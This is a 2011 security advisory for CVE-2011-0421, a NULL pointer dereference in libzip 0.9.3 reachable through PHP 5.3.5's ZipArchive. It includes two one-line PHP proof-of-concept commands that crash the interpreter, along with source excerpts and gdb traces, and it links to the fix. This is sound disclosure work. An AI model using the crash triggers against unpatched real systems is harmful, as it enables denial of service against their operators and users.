libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5) Author: Maksymilian Arciemowicz http://cxib.net/ Date: - Dis.: 03.01.2011 - Pub.: 18.03.2011 CVE: CVE-2011-0421 CERT: VU#325039 Affected Software: - libzip 0.9.3 - PHP 5.3.5 (fixed 5.3.6) --- 0.Description --- libzip is a C library for reading, creating, and modifying zip archives. Files can be added from data buffers, files, or compressed data copied directly from other zip archives. Changes made without closing the archive can be reverted. The API is documented by man pages. --- 1.Description --- libzip allows remote and local attackers to Denial of Service (Null Pointer Dereference) if ZIP_FL_UNCHANGED flag is set. -lib/zip_name_locate.c--- int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <= CRASH HERE -lib/zip_name_locate.c--- for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash. Currently for PHP, the security impact we estimate only like a remote DoS, so risk is low. Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame, fuse-zip, php zip extension, Endeavour2, FreeDink Better analysis based on PHP code ZipArchive, bellow --- 2. PHP 5.3.5 ZipArchive() --- PoC1: php -r '$nx=new ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCHANGED);' PoC2: php -r '$nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHANGED);' Let's -php_zip.c------------------------------------- ... static ZIPARCHIVE_METHOD(locateName) { ... ZIP_FROM_OBJECT(intern, this); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &name, &name_len, &flags) == FAILURE) { return; } ... idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH IN THIS FUNCTION ... -php_zip.c------------------------------------- and let`s see -zip_name_locate.c------------------------------------- ZIP_EXTERN(int) zip_name_locate(struct zip *za, const char *fname, int flags) { return _zip_name_locate(za, fname, flags, &za->error); } int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=== CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED for (i=0; i<n; i++) { ... -zip_name_locate.c------------------------------------- (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70 "a", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x00000000006381e6 in c_ziparchive_locateName (ht=2, return_value=0x1169418, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877 #2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 #3 0x00000000006c0b00 in execute (op_array=0x1168568) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107 ... Program received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400 "9223372036854775808", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; (gdb) print za->cdir->nentry Cannot access memory at address 0x8 (gdb) print za->nentry $21 = 0 because (gdb) x/i $rip => 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax (gdb) x/i $rax 0x0: Cannot access memory at address 0x0 (gdb) x/i $eax call to zip_name_locate (gdb) n 1877 idx = (long)zip_name_locate(intern, (const char *)name, flags); (gdb) print intern $24 = (struct zip *) 0x118d580 (gdb) x/x intern 0x118d580: 0x0118d220 (gdb) x/40x intern 0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000 0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000 0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000 0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000 next PoC2 $nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","9223372036854775807"); rogram received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=-1, st=0x7fffffffda70) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45 #2 0x0000000000638451 in c_ziparchive_statName (ht=2, return_value=0x1169480, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818 #3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 --- 3. Fix --- This issue has been fixed with PHP Team, so big thanks guys. http://www.php.net/ChangeLog-5.php#5.3.6 http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name_locate.c?annotate=307867 --- 4. Greets --- Special thanks for Pierre Joye and Stas --- 5. Contact --- Author: Maksymilian Arciemowicz